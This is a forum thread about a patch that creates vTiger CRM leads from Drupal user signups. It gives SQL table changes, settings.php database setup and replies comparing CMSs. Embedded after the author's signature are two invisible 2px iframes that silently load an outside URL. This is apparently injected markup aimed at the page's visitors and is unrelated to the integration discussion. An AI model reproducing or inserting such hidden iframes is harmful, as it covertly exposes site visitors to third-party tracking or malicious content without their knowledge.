Simple Drupal Integration

This is a lead creating patch for Drupal CMS. This will create a VTiger Lead for every user that signs up on your drupal site.

In VTiger:
Add a 'cmsid' entry to your leaddetails table
"ALTER TABLE leaddetails add
`cmsid` varchar(10) default NULL"

Drupal:
Install at least the address module from the ecommerce package.
Patch modules/user.module with users.patch
Patch modules/address/address.module with address.patch
Edit your settings.php to access your VTiger database as well.. You MUST name it vtiger like this:
$db_url = array('default' => 'mysql://user:pass@localhost/drupal',
'vtiger' => 'mysql://user:pass@localhost/vtigercrm');

Drawbacks:
Doesn't show the lead in "ListView" for some reason. To access the Lead record you have to enter the ID into a DetailView URL. If you know how to fix this please say so.
Only creates 1 address for the user, it's always the last one updated <!-- s:) --><img src="{SMILIES_PATH}/icon_smile.gif" alt=":)" title="Smile" /><!-- s:) -->.
Not enough error checking.
There is a bug in the sessions stuff that I _must_ have introduced. I'll get it figured out and post a new patch unless someone beats me to it.

Matt <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«1

Comments

  • 12 Comments sorted by Votes Date Added
  • oh btw..
    in drupal go to users->configure and enable "vtiger integration"
    then go to modules and enable the address module.

    matt
  • i've decided to extend the base user.module from drupal to allow enough fields for adding leads. i wouldn't really suggest using these patches just yet since i am moing this over to a soap connection instead of db connections.
  • ok.. new version that should be much more sane.

    to enable this, copy this user.module into {drupal_root}/modules/user.module
    also copy your nusoap.php (from contactforms) into {drupal_root}/includes/nusoap/lib/nusoap.php

    replace your {vtiger_root}/contactserialize.php with the attached version and put your fqdn into the "namespace" variable.

    run this command on your drupal mysql db:
    mysql -> alter table users add `phone` varchar(15) default null;
    mysql -> alter table users add `firstname` varchar(15) default null;
    mysql -> alter table users add `lastname` varchar(15) default null;
    mysql -> alter table users add `company` varchar(15) default null;

    run this command on your vtiger db:
    mysql -> alter table leaddetails add `cmsid` varchar(10) default null;

    in drupal:
    go to administer->users->configure and enable vtiger and set the server path to your vtiger install (just like you do for the contactforms server path)

    that's it. drupal will show the extra "firstname,lastname,etc" entries for a user to signup _only_ if you have the vtiger integration enabled, otherwise it acts as usual.

    i plan to add to this and create a product integration layer into the drupal ecommerce package. still deciding the best way to tackle it.

    matt
  • another version, this allows updates to the accounts after they are created and also populates the crmid correctly.

    matt
  • hi i haven't tried this patch yet but does anyone goen further the road into the integration with drupal.
    could anyone give me some guidance as to know whether it would be possible to access vtiger customer portal while navigating within a drupal site (actually it's a wrapper sort of...)

    thank you,
    nonofr
  • hi i haven't tried this patch yet but does anyone goen further the road into the integration with drupal.
    could anyone give me some guidance as to know whether it would be possible to access vtiger customer portal while navigating within a drupal site (actually it's a wrapper sort of...)
    this is exactly how we currently do our customer portal as well. we've changed some things in the css file to help match colors and then i use drupal as the content engine that serves the portal page.

    i haven't done any more work on this because we are starting to outgrow drupal and will be re-deploying on a new cms so i just haven't spent much time on it.

    matt
  • i'm just considering drupal as one of my main cms for my sites. i tried mambo and i liked it except for a few things. now i would like give drupal a shot. any suggestions on this?
  • just one, make sure you use the latest version so you don't get hit with the exploits in xmlrpc.php.
    it's a pretty nice cms, the problem we are having is with the shopping interface. it's not quite powerful enough for what we need so we are switching to our erp solution for catalog management and will built that into the joomla! cms.
    i have been waiting for someone to post some joomla! and vtiger integration and it hasn't happened yet so i might just have to do it myself <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->.

    matt
  • i prefer postnuke because its a little more mature and advanced. already have it working with sugar somewhat, now need to give vtiger a try.
  • thanks for your suggest, matt!
Sign In or Register to comment.